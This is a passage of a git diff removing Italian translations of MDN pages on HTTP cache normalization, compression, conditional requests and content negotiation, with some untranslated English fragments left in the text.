poi essere salvate nella cache: <code>Accept-Encoding: gzip,deflate,sdch</code>, <code>Accept-Encoding: gzip,deflate</code>, <code>Accept-Encoding: gzip</code>. Probabilmente, però, il server centrale risponderà sempre con la stessa risorsa (un file gzip)!</p> - -<p>Per evitare duplicati e richieste non necessarie, i caching server dovrebbero usare la <strong>normalizzazione </strong>per pre-processare le richieste e per salvare solo i file necessari nella cache. Ad esempio, nel caso di <code>Accept-Encoding</code> si possono controllare <code>gzip</code> e gli altri tipi di compressione prima di procedere. In "pseudo codice" si può codificare come:</p> - -<pre class="notranslate"><code>// Normalizza Accept-Encoding -if (req.http.Accept-Encoding) { - if (req.http.Accept-Encoding ~ "gzip") { - set req.http.Accept-Encoding = "gzip"; - } - // elsif other encoding types to check -else { - unset req.http.Accept-Encoding; - } -}</code> -</pre> - -<p><code>User-Agent</code> ha ancora più varianti di <code>Accept-Encoding</code>. Quindi s <code>Vary: User-Agent</code> viene utilizzato per salvare nella cache le varianti dei file per mobile/desktop si potrebbe controllare se <code>"mobile"</code> e <code>"desktop"</code> sono presenti nell'header <code>User-Agent</code>.</p> - -<h2 id="Guarda_anche">Guarda anche</h2> - -<ul> - <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> - <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> - <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> - <li><a href="https://redbot.org/">RedBot</a>, a tool to check your cache-related HTTP headers.</li> -</ul> diff --git a/files/it/web/http/compression/index.html b/files/it/web/http/compression/index.html deleted file mode 100644 index 2ef1547341..0000000000 --- a/files/it/web/http/compression/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Compressione in HTTP -slug: Web/HTTP/Compression -translation_of: Web/HTTP/Compression -original_slug: Web/HTTP/Compressione ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary">La <strong>compressione</strong> è un valido modo per incrementare le performance di un sito web. Per alcuni documenti, infatti, la riduzione del peso fino al 70% permette di dimiuire la larghezza di banda necessaria. Nel corso degli anni, inoltre, gli algoritmi sono diventati più efficienti e allo stesso tempo client e server ne supportano di nuovi.</p> - -<p>A livello pratico non è necessario che gli sviluppatori web implementino dei meccanismi di compressione, dato che sia browser che server li hanno già implementati, ma devono tuttavia assicurarsi che il server sia adeguatamente configurato. La compressione avviene a tre livelli differenti:</p> - -<ul> - <li>prima alcuni formati di file vengono compressi con specifici metodi ottimizzati,</li> - <li>quindi la crittografia generale può avvenire a livello HTTP (la risorsa viene trasmessa compressa da un capo all'altro),</li> - <li>e infine la compressione può essere definita a livello di connessione, tra due nodi di una connessione HTTP.</li> -</ul> - -<h2 id="Formato_di_compressione_dei_file">Formato di compressione dei file</h2> - -<p>Ogni tipo di dati ha una certa ridondanza, ovvero uno spreco di spazio. Se il testo può in genere avere una ridondanza fino al 60%, questa percentuale può essere molto più alta per altri media come audio e video. A differenza del testo, questi altri tipi di supporti utilizzano molto spazio per archiviare i dati, di conseguenza la necessità di ottimizzare l'archiviazione e recuperare spazio si manifestò fin da subito. Gli ingegneri hanno progettato l'algoritmo di compressione ottimizzato utilizzato dai formati di file progettati per questo scopo specifico. Gli algoritmi di compressione utilizzati per i file possono essere raggruppati in due grandi categorie:</p> - -<ul> - <li><em>Compressione loss-less (senza perdite), in cui il ciclo di compressione-decompressione non altera i dati recuperati, che corrisponderanno (byte per byte) all'originale.<br> - Ad esempio, nel caso delle immagini, gif e png utilizzano la compressione senza perdite.</em></li> - <li><em>Compressione lossy (con perdita), in cui il ciclo altera i dati originali in maniera (auspicabilmente) impercettibile per l'utente.<br> - I formati video sul Web sono con perdite; anche il formato di immagine jpeg è con perdita di dati.</em></li> -</ul> - -<p>Alcuni formati possono essere utilizzati sia per la compressione <em>loss-less</em> che <em>lossy</em>, come ad esempio webp, e di solito l'algoritmo di compressione con perdita può essere configurato per comprimere più o meno, il che ovviamente porta a una qualità inferiore o superiore. Per migliorare le prestazioni di un sito Web l'ideale è comprimerlo il più possibile, mantenendo allo stesso tempo un livello di qualità accettabile. Per le immagini, un'immagine generata da uno strumento potrebbe non essere sufficientemente ottimizzata per il Web; si consiglia di utilizzare strumenti che comprimeranno il più possibile con la qualità richiesta. Esistono <a href="https://www.creativebloq.com/design/image-compression-tools-1132865">numerosi strumenti</a> specializzati per questo.</p> - -<p>Gli algoritmi di compressione lossy sono generalmente più efficienti di quelli lossless.</p> - -<div class="note"> -<p>Poiché la compressione funziona meglio su un tipo specifico di file, di solito non fornisce nulla per comprimerli una seconda volta. In effetti, questo è spesso controproducente in quanto il costo del sovraccarico (gli algoritmi di solito richiedono un dizionario che si aggiunge alla dimensione iniziale) può essere superiore al guadagno extra nella compressione risultando in un file più grande. Non utilizzare le due seguenti tecniche per i file in un formato compresso.</p> -</div> - -<h2 id="Compression_End-to-end">Compression End-to-end</h2> - -<p>Per la compressione, la compressione end-to-end è il luogo in cui risiedono i maggiori miglioramenti delle prestazioni dei siti Web. La compressione end-to-end si riferisce a una compressione del corpo di un messaggio che viene eseguita dal server e durerà inalterata fino a quando non raggiunge il client. Qualunque siano i nodi intermedi, lasciano il corpo intatto.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p> - -<p>Tutti i browser e server moderni lo supportano e l'unica cosa da negoziare è l'algoritmo di compressione da utilizzare. Questi algoritmi sono ottimizzati per il testo. Negli anni '90, la tecnologia di compressione stava avanzando a un ritmo rapido e numerosi algoritmi successivi sono stati aggiunti alla serie di scelte possibili. Al giorno d'oggi, solo due sono rilevanti: gzip, il più comune, e br il nuovo sfidante.</p> - -<p>Per selezionare l'algoritmo da utilizzare, i browser e i server utilizzano la negoziazione proattiva dei contenuti. Il browser invia un'intestazione {{HTTPHeader ("Accept-Encoding")}} con l'algoritmo che supporta e il suo ordine di precedenza, il server ne sceglie uno, lo utilizza per comprimere il corpo della risposta e utilizza {{HTTPHeader (" Content-Encoding ")}} per indicare al browser l'algoritmo che ha scelto. Poiché la negoziazione del contenuto è stata utilizzata per scegliere una rappresentazione basata sulla sua codifica, il server deve inviare un'intestazione {{HTTPHeader ("Vary")}} contenente almeno {{HTTPHeader ("Accept-Encoding")}} accanto a questa intestazione in la risposta; in questo modo, le cache saranno in grado di memorizzare nella cache le diverse rappresentazioni della risorsa.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p> - -<p>Poiché la compressione apporta miglioramenti significativi alle prestazioni, si consiglia di attivarla per tutti i file, ma già compressi come immagini, file audio e video.</p> - -<p>Apache supporta la compressione e utilizza mod_deflate; per nginx c'è ngx_http_gzip_module; per IIS, l'elemento <httpCompression>.</p> - -<h2 id="Hop-by-hop_compression">Hop-by-hop compression</h2> - -<p>La compressione hop-by-hop, sebbene simile alla compressione end-to-end, differisce per un elemento fondamentale: la compressione non avviene sulla risorsa nel server, creando una rappresentazione specifica che viene poi trasmessa, ma sul corpo di il messaggio tra due nodi qualsiasi sul percorso tra il client e il server. Le connessioni tra i nodi intermedi successivi possono applicare una compressione diversa.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p> - -<p>Per fare ciò, HTTP utilizza un meccanismo simile alla negoziazione del contenuto per la compressione end-to-end: il nodo che trasmette la richiesta annuncia la sua volontà utilizzando l'intestazione {{HTTPHeader ("TE")}} e l'altro nodo sceglie il metodo adeguato , lo applica e indica la sua scelta con l'intestazione {{HTTPHeader ("Transfer-Encoding")}}.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p> - -<p>I</p> - -<p>In pratica, la compressione hop-by-hop è trasparente per il server e il client ed è usata raramente. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} sono usati principalmente per inviare una risposta a blocchi, consentendo di iniziare a trasmettere una risorsa senza conoscerne la lunghezza.</p> - -<p>Si noti che l'utilizzo di {{HTTPHeader ("Transfer-Encoding")}} e la compressione a livello di hop è così raro che la maggior parte dei server, come Apache, nginx o IIS, non ha un modo semplice per configurarlo. Tale configurazione di solito avviene a livello di proxy.</p> diff --git a/files/it/web/http/conditional_requests/index.html b/files/it/web/http/conditional_requests/index.html deleted file mode 100644 index f8cfdbee7f..0000000000 --- a/files/it/web/http/conditional_requests/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Richieste Condizionali HTTP -slug: Web/HTTP/Conditional_requests -translation_of: Web/HTTP/Conditional_requests ---- -<p>{{HTTPSidebar}}</p> - -<p class="summary">HTTP ha il concetto delle richieste condizionali, dove il risultato, e addirittura il successi di una richiesta, può essere cambiato comparando la risorsa coinvolta con il valore di un <em>validator</em>. Questo tipo di richieste può essere utile per validare il contenuto di una cache, risparmiando un controllo inutile, per verificare l'integrità di un documento, per esempio quando si fa ripartire un download, o quando si previene la perdita di update, quando si fa l'upload o la modifica di un documento su un server.</p> - -<h2 id="Principi">Principi</h2> - -<p>Le richieste condizionali HTTP sono richieste che sono eseguite differnetemente, in base al valore di specifici headers. Questi headers definiscono una precondizione, e il risultato della richiesta cambierà se la precondizione è soddisfatta o no .</p> - -<p>I diversi comportamenti sono definiti dal metodo di richiesta usato, e dagli headers usati per una precondizione:</p> - -<ul> - <li>per metodi {{glossary("safe")}}, per esempio {{HTTPMethod("GET")}}, che di solito prova a fare un ferch del documento, la richiesta condizionale può essere usata per rimandare indietro il documento, solo se è di rilievo. Questo quindi fa risparmiare bandwidth.</li> - <li>per metodi {{glossary("safe", "unsafe")}}, per esempio {{HTTPMethod("PUT")}}, che di solito fa l'upload di un documento, a richiesta condizionale può essere usata per fare l'upload del documento, solo se l'originale è su qui è basato è lo stesso che è contenuto nel server.</li> -</ul> - -<h2 id="Validatori">Validatori</h2> - -<p>Tutti gli header condizionali provano a controllare se la risorsa contenuta nel sever corrisponde a una versione specifica. Per fare questo,la richiesta condizionale deve indicare la versione della risorsa. Visto che comparare l'intera risorsa byte per byte è impraticabile, è non sempre è quello che si vuole, la richiesta trasmette un valore che descrive la versione. Questi valore sono chiamati <em>validatori, </em> e possono essere di due tipi:</p> - -<ul> - <li>la data dell'ultima modifica del documento, the <em>last-modified</em> date.</li> - <li>una stringa opaca, che identifica univocamente ogni versione, chiamata <em>entity tag</em>, o la <em>etag</em>.</li> -</ul> - -<p>Comparare le versioni della stessa risorsa è un po difficile: a seconda del contesto, ci possono essere due tipi di <em>equality checks</em>:</p> - -<ul> - <li><em>La validazione forte </em>è usata quando ci si aspetta l'eguaglianza byte per byte, per esempio quando si fa ripartire un download</li> - <li><em>La validazione debole</em> èser-agent only needs to determine if the two resources have the same content. This is even if they are minor differences; like different ads, or a footer with a different date.</li> -</ul> - -<p>Il tipo di validazione è indipendente dal validatore usato. Sia {{HTTPHeader("Last-Modified")}} che {{HTTPHeader("ETag")}} permettono entrambi i tipi di validazione, anche se la complessità per implentarli nel lato server può variare. HTTP usa la validazione forte di default, e specifica quando la validazione debole può essere usata.</p> - -<h3 id="Validazione_forte">Validazione forte</h3> - -<p id="sect1">La validazione forte consiste nel garantire che la risorsa è, byte per byte, uguale a quella a qui è comparata. Questo è mandatoria per alcuni header condizionali, e il default per altri. La validazione forte è molto stringente e può essere difficile da garantire a livello server, ma garantisce che non ci siano perdite di dati, a volte a spese delle peroformace.</p> - -<p>E' abbastanza difficile avere un identificatore unico per la validazione forte con {{HTTPHeader("Last-Modified")}}. Spesso questo è fatto usando un {{HTTPHeader("ETag")}} con il MD5 hash della risorsa (o una derivata).</p> - -<h3 id="Validazione_debole">Validazione debole</h3> - -<p>La validazione debole è diversa dalla validazione forte, perchè considera due versioni del documento uguali se il loro contenuto è uguale. Per esempio,una pagina risulterebbe diversa da un altra solo con una data diversa nel footer, o un advertising diverso, verrebbe considerata uguale con la validazione debole. Queste due versioni sono considerate <em>diverse</em> quando si usa la validazione forte. Creare un sistema di etags che crea validazione debole può essere complesso, perchè involve sapere l'importaza dei diversi elementi della pagina, ma è molto utile per ottimizzare le performance della cache.</p> - -<h2 id="Headers_condizionali">Headers condizionali</h2> - -<p>Diversi HTTP header, chiamati header condizionali, portano a richieste condizionali. Queste sono:</p> - -<dl> - <dt>{{HTTPHeader("If-Match")}}</dt> - <dd>Ha sucesso se l'{{HTTPHeader("ETag")}} della risorsa remota è uguale a quello incluso in questo header. Di default, a meno che l'etag sia preceduto con <code>'W/'</code>, compie una validazione forte.</dd> - <dt>{{HTTPHeader("If-None-Match")}}</dt> - <dd>Ha successo se l'{{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd> - <dt>{{HTTPHeader("If-Modified-Since")}}</dt> - <dd>Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più recente .</dd> - <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> - <dd>Ha successo se la data {{HTTPHeader("Last-Modified")}} della risorsa remota è più vecchia o la stessa dell'header.</dd> - <dt>{{HTTPHeader("If-Range")}}</dt> - <dd>Simile a {{HTTPHeader("If-Match")}}, o {{HTTPHeader("If-Unmodified-Since")}}, ma può avere solo un singolo etag, o una data. Se fallisce, la richiesta range fallisce, e invece di una risposta {{HTTPStatus("206")}} <code>Partial Content</code>, un {{HTTPStatus("200")}} <code>OK</code> è mandato con la risorsa completa.</dd> -</dl> - -<h2 id="Casi_duso">Casi d'uso</h2> - -<h3 id="Cache_update">Cache update</h3> - -<p>L'uso più comune per le richieste condizionali è aggiornare la cache. Con una cache vuota, o senza una cache, la risorsa richiesta è mandata iindietro con uno stato di {{HTTPStatus("200")}} <code>OK</code>.</p> - -<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png"></p> - -<p>Insieme con la risorsa, i validatori sono mandato con gli header. In questo esempuo, entrambi {{HTTPHeader("Last-Modified")}} e {{HTTPHeader("ETag")}} sono mandati, ma sarebbe stato lo stesso anche se solo uno dei due fosse stato inviato. Questi validatori sono memorizzati nella cache insieme alla risorsa (come tutti gli headers) e saranno usati per creare le richieste condizionali, una volta che la cache diventa obsoleta.</p> - -<p>Finche la cache non è obsoleta, non vengono emesse richieste. Ma una volta che diventa obsoleta, questo è controllato principalmente dall'header {{HTTPHeader("Cache-Control")}}, il client non usa il valore nella cache direttamente ma richiede una <em>conditional request</em>. Il valore del validatore è usato come parametro delgli header {{HTTPHeader("If-Modified-Since")}} e {{HTTPHeader("If-Match")}}.</p> - -<p>Se la risorsa non è cambiata, il server ritorna una risposta {{HTTPStatus("304")}} <code>Not Modified</code>. Questo rende la cache nuova, e il client usa la risorsa contenuta nella cache. Anche se c'è un ciclo di richiesta/risposta che consuma alcune risorse, questo è più efficiente di trasmettere di nuovo l'intera risorsa attraverso la rete.</p> - -<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p> - -<p>Se la risorsa è cambiata, il server invia semplicemente un {{HTTPStatus("200")}}}. OK risposta, con la nuova versione della risorsa, come se la richiesta non fosse condizionata e il cliente usa questa nuova risorsa (e la mette in cache).</p> - -<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p> - -<p>Oltre all'impostazione dei validatori sul lato server, questo meccanismo è trasparente: tutti i browser gestiscono una cache e inviano tali richieste condizionali senza alcun lavoro speciale da parte degli sviluppatori Web.</p> - -<h3 id="Integrità_di_un_download_parziale">Integrità di un download parziale</h3> - -<p>Il download parziale dei file è una funzionalità di HTTP che permette di riprendere le operazioni precedenti, risparmiando larghezza di banda e tempo, mantenendo le informazioni già ottenute:</p> - -<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p> - -<p>Un server che supporta il download parziale lo trasmette inviando l'intestazione {{HTTPHeader ("Accept-Ranges")}}. Una volta che ciò accade, il client può riprendere il download inviando un'intestazione {{HTTPHeader("Ranges")}}} con gli intervalli mancanti:</p> - -<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p> - -<p>Il principio è semplice, ma c'è un potenziale problema: se la risorsa scaricata è stata modificata tra i due download, gli intervalli ottenuti corrisponderanno a due diverse versioni della risorsa e il documento finale sarà corrotto.</p> - -<p>Per evitare che ciò avvenga, vengono utilizzate richieste condizionate. Per le gamme, ci sono due modi per farlo. Quello più flessibile utilizza {{HTTPHeader("If-Unmodified-Since")}}} e {{HTTPHeader("If-Match")}} e il server restituisce un errore se la precondizione fallisce; il client quindi riavvia il download dall'inizio:</p> - -<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p> - -<p>Anche se questo metodo funziona, aggiunge un ulteriore scambio di risposte/richieste quando il documento è stato modificato. Questo compromette le prestazioni, e HTTP ha un'intestazione specifica per evitare questo scenario: {{HTTPHeader("If-Range")}}:</p> - -<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p> - -<p>Questa soluzione è più efficiente, ma leggermente meno flessibile, in quanto è possibile utilizzare un solo etag nella condizione. Raramente è necessaria una tale flessibilità aggiuntiva.</p> - -<h3 id="Evitare_il_problema_dellupdate_perso_con_un_blocco_ottimista">Evitare il problema dell'update perso con un blocco ottimista</h3> - -<p>Un'operazione comune nelle applicazioni Web è l'aggiornamento di un documento remoto. Questo è molto comune in qualsiasi file system o applicazione di controllo dei sorgenti, ma qualsiasi applicazione che permetta di memorizzare risorse remote necessita di un tale meccanismo. I siti Web comuni, come i wiki e altri CMS, hanno tale necessità.</p> - -<p>Con il metodo {{HTTPMethod("PUT")}} si è in grado di implementarlo. Il client prima legge i file originali, li modifica e infine li spinge sul server:</p> - -<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p> - -<p>Purtroppo le cose diventano un po' imprecise non appena si tiene conto della concorrenza. Mentre un cliente sta modificando localmente la sua nuova copia della risorsa, un secondo cliente può recuperare la stessa risorsa e fare lo stesso sulla sua copia. Quello che succede dopo è molto spiacevole: quando si impegnano nuovamente sul server, le modifiche del primo client vengono scartate dal push del client successivo, in quanto questo secondo client non è a conoscenza delle modifiche apportate alla risorsa dal primo client. La decisione su chi vince non viene comunicata all'altra parte. Quali modifiche del client devono essere mantenute, variano in funzione della velocità con cui vengono effettuate; questo dipende dalle prestazioni dei client, del server e anche dell'operatore che modifica il documento presso il client. Il vincitore cambierà da una volta all'altra. Questo è un {{glossary ("race condition")}} e porta a comportamenti problematici, difficili da rilevare e da fare il debug:</p> - -<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p> - -<p>Non c'è modo di affrontare questo problema senza infastidire uno dei due client. Tuttavia, gli aggiornamenti persi e le condizioni di gara sono da evitare. Vogliamo risultati prevedibili e ci aspettiamo che i clienti siano avvisati quando le loro modifiche vengono respinte.</p> - -<p>Le richieste condizionali permettono di implementare l'algoritmo di blocco ottimistico (utilizzato dalla maggior parte dei wiki o dai sistemi di controllo delle sorgenti). Il concetto è quello di permettere a tutti i client di ottenere copie della risorsa, quindi lasciarli modificare localmente, controllando la concorrenza permettendo al primo client di presentare un aggiornamento. Tutti gli aggiornamenti successivi, basati sulla versione ormai obsoleta della risorsa, vengono respinti:</p> - -<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p> - -<p>Questo è implementato utilizzando le intestazioni {{HTTPHeader("If-Match")}}} o {{HTTPHeader("If-Unmodified-Since")}}}. Se l'etag non corrisponde al file originale, o se il file è stato modificato da quando è stato ottenuto, la modifica viene semplicemente rifiutata con un {{HTTPStatus("412")}}} <code>Precondition Failed</code> error. petta poi al cliente affrontare l'errore: o notificando all'utente di ricominciare da capo (questa volta sulla versione più recente), o mostrando all'utente una <em>diff </em>di entrambe le versioni, aiutandolo a decidere quali modifiche desidera mantenere.</p> - -<h3 id="Gestire_il_primo_upload_di_una_risorsa">Gestire il primo upload di una risorsa</h3> - -<p>Il primo caricamento di una risorsa è un caso limite del precedente. Come ogni aggiornamento di una risorsa, è soggetto a una condizione di gara se due clienti cercano di eseguire in tempi simili.Per evitare questo, le richieste condizionate possono essere utilizzate: aggiungendo {{HTTPHeader("If-None-Match")}} con il valore speciale di <code>'*'</code>, che rappresenta un qualsiasi etag. La richiesta avrà successo, solo se la risorsa non esisteva prima:</p> - -<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p> - -<p><code>If-None-Match</code> funzionerà solo con server conformi a HTTP/1.1 (e successivi). Se non si è sicuri che il server sarà conforme, è necessario prima emettere una richiesta {{HTTPMethod("HEAD")}} alla risorsa per verificarlo.</p> - -<h2 id="Conclusione">Conclusione</h2> - -<p>Le richieste condizionali sono una caratteristica chiave di HTTP, e permettono la construzione di efficienti e complicate applicazioni. Per il caching o la ripresa dei download, l'unico lavoro richiesto per i webmaster è quello di configurare correttamente il server; impostare gli etags corretti in alcuni ambienti può essere complicato. Una volta raggiunto, il browser servirà le richieste condizionali previste.</p> - -<p>Per i meccanismi di chiusura, è l'opposto: Gli sviluppatori web devono emettere una richiesta con le intestazioni appropriate, mentre i webmaster possono per lo più fare affidamento sull'applicazione per effettuare i controlli per loro.</p> - -<p>In entrambi i casi è chiaro, le richieste condizionali sono una caratteristica fondamentale del Web.</p> diff --git a/files/it/web/http/content_negotiation/index.html b/files/it/web/http/content_negotiation/index.html deleted file mode 100644 index 53312b1461..0000000000 --- a/files/it/web/http/content_negotiation/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Negoziazione del contenuto -slug: Web/HTTP/Content_negotiation -translation_of: Web/HTTP/Content_negotiation -original_slug: Web/HTTP/negoziazione-del-contenuto ---- -<div>Nel protocollo <a href="/it-IT/docs/Glossary/HTTP">HTTP</a>, la <em><strong>negoziazione del contenuto</strong></em> è il meccanismo utilizzato per servire diverse rappresentazioni di una risorsa avente medesimo URI, in modo che il programma utente possa specificare quale sia più adatta all'utente (ad esempio, quale lingua di un documento, quale formato immagine o quale codifica del contenuto).</div> - -<div class="blockIndicator note"> -<p class="summary">Nota: alcuni svantaggi della negoziazione del contenuto HTTP sono spiegati <a href="https://wiki.whatwg.org/wiki/Why_not_conneg">in una pagina wiki del WHATWG.</a> HTML5 fornisce alternative alla negoziazione del contenuto tramite, ad esempio, l'elemento <a href="/it-IT/docs/Web/HTML/Element/source"><source></a>.</p> -</div> - -<h2 id="Principi_di_negoziazione_dei_contenuti">Principi di negoziazione dei contenuti</h2> - -<p>Uno specifico documento è chiamato <em>risorsa</em>. Quando un client desidera ottenere una risorsa, il client la richiede utilizzando il suo URL. Il server utilizza questo URL per scegliere una delle varianti che fornisce - ogni variante viene chiamata <em>rappresentazione</em> - e restituisce una rappresentazione specifica per il client. La risorsa complessiva, così come ciascuna delle rappresentazioni, ha un URL specifico. Il modo in cui viene scelta una rappresentazione specifica quando la risorsa viene chiamata è determinato dalla <em>negoziazione del contenuto</em> e ci sono diversi modi per negoziare tra il client e il server.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> - -<p>La determinazione della rappresentazione più adatta avviene attraverso uno dei seguenti meccanismi:</p> - -<ul> - <li>Intestazioni HTTP specifiche da parte del client (<em>negoziazione guidata dal server</em> o <em>negoziazione proattiva</em>), che è il modo standard di negoziare un tipo specifico di risorsa.</li> - <li>La restituzione dei <a href="/it-IT/docs/Web/HTTP/Status">codici di risposta HTTP</a> {{HTTPStatus("300")}} (Multiple Choices) o {{HTTPStatus("406")}} (Not Acceptable) dal server (<em>negoziazione guidata dall'agente</em> o <em>negoziazione reattiva</em>), utilizzati come meccanismi di riserva.</li> -</ul> - -<p>Nel corso degli anni sono state avanzate altre proposte di negoziazione dei contenuti, come la <a href="https://tools.ietf.org/html/rfc2295">negoziazione trasparente dei contenuti</a> e l'intestazione <code>Alternates</code>, ma non hanno ottenuto la giusta attenzione e sono state quindi abbandonate.</p> - -<h2 id="Negoziazione_dei_contenuti_gestita_dal_server">Negoziazione dei contenuti gestita dal server</h2> - -<p>Nella <em>negoziazione del contenuto gestita lato server</em>, o <em>negoziazione proattiva del contenuto</em>, il browser (o qualsiasi altro tipo di user-agent) invia diverse intestazioni HTTP insieme all'URL. Queste intestazioni descrivono la scelta preferita dell'utente. Il server li utilizza come suggerimenti e un algoritmo interno sceglie il contenuto migliore da offrire al client. L'algoritmo è specifico del server e non è definito dallo standard. Vedi, ad esempio, l'<a href="http://httpd.apache.org/docs/current/en/content-negotiation.html#algorithm">algoritmo di negoziazione di Apache</a>.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> - -<p>Lo standard HTTP / 1.1 definisce l'elenco delle intestazioni standard che avviano la negoziazione guidata dal server ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Sebbene in senso stretto {{HTTPHeader ("User-Agent")}} non sia in questo elenco, a volte viene anche utilizzato per inviare una rappresentazione specifica della risorsa richiesta, per quanto questa non sia considerata una buona pratica. Il server utilizza l'intestazione {{HTTPHeader ("Vary")}} per indicare quali intestazioni ha effettivamente utilizzato per la negoziazione del contenuto (o più precisamente le intestazioni di risposta associate), in modo che le cache possano funzionare in modo ottimale.</p> - -<p>Oltre a questi, c'è una proposta sperimentale per aggiungere più intestazioni all'elenco delle intestazioni disponibili, chiamate <em>suggerimenti del client</em>. I suggerimenti del client indicano il tipo di dispositivo su cui viene eseguito l'user agent (ad esempio, se si tratta di un computer desktop o di un dispositivo mobile).</p> - -<p>Anche se la negoziazione del contenuto guidata dal server è il modo più comune per concordare una rappresentazione specifica di una risorsa, presenta diversi svantaggi:</p> - -<ul> - <li>Il server non ha una conoscenza totale del browser. Anche con l'estensione dei suggerimenti del client, non ha una conoscenza completa delle capacità del browser. A differenza della negoziazione del contenuto reattivo in cui il client fa la scelta, la scelta del server è sempre piuttosto arbitraria;</li> - <li>Le informazioni fornite dal client sono piuttosto dettagliate (la compressione dell'intestazione HTTP / 2 mitiga questo problema) e un rischio per la privacy (impronta digitale HTTP);</li> - <li>Poiché vengono inviate diverse rappresentazioni di una determinata risorsa, le cache condivise sono meno efficienti e le implementazioni del server sono più complesse.</li> -</ul> - -<h3 id="Intestazione_Accept">Intestazione Accept</h3> - -<p>L’ intestazione {{HTTPHeader("Accept")}} elenca i tipi di risorse media MIME che l’interprete vuole processare. È una lista di elementi MIME separati da virgole, ognuno combinato con un indice di qualità, ovvero un parametro che indica il relativo grado di preferenza tra diversi tipi MIME.</p> - -<p>L’ intestazione {{HTTPHeader("Accept")}} è definita dal browser, o da qualunque altro interprete, e può variare in base al contesto, come ottenre una pagina HTML, un'immagine, un video o uno script: diverge quando si ottiene un documento inserito nella barra degli indirizzi, o un elemento linkato via {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }}. I browser sono liberi di usare il valore dell’intestazione che pensano sia il più adeguato; è disponibile una lista di valori standard per I browers più comuni. <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values"> </a> is available.</p> - -<h3 id="L’intestazione_Accept-CH_experimental_inline">L’intestazione Accept-CH {{experimental_inline}}</h3> - -<div class="note"> -<p>Questa è parte di una tecnologia <strong> sperimentale</strong> chiamata <em>Client Hints</em>. É supportata da Chrome 46 in poi. Il valore Device-Memoryè presente da Chrome 61 in poi.</p> -</div> - -<p>L’header sperimentale {{HTTPHeader("Accept-CH")}}elenca dati di configurazione che possono essere usati dal server per elaborare una risposta appropriate. I valori validi sono:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Valore</th> - <th scope="col">Significato</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>Device-Memory</code></td> - <td>Indica in modo approssimativo la quantità di memoria RAM. Questo valore è un approssimazione ottenuta arrotondando alla potenza di due più vicina e dividendo ciò per 1024. Per esempio, 512 megabytes diventano <code>0.5</code>.</td> - </tr> - <tr> - <td><code>DPR</code></td> - <td>Indica la risoluzione del dispositivo del client.</td> - </tr> - <tr> - <td><code>Viewport-Width</code></td> - <td>Indica la larghezza dell’area visibile in pixel CSS.</td> - </tr> - <tr> - <td><code>Width</code></td> - <td>Indica la reale larghezza di una risorsa (per esempio la larghezza di un’immagine).</td> - </tr> - </tbody> -</table> - -<h3 id="L’intestazione_Accept-Charset">L’intestazione Accept-Charset</h3> - -<p>L’ intestazione {{HTTPHeader("Accept-Charset")}} indica al server che tipo di codifica dei caratteri viene accettata dall’interprete. DI solito, è impostata con valori differenti per ogni browser locale, per esempio <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a per 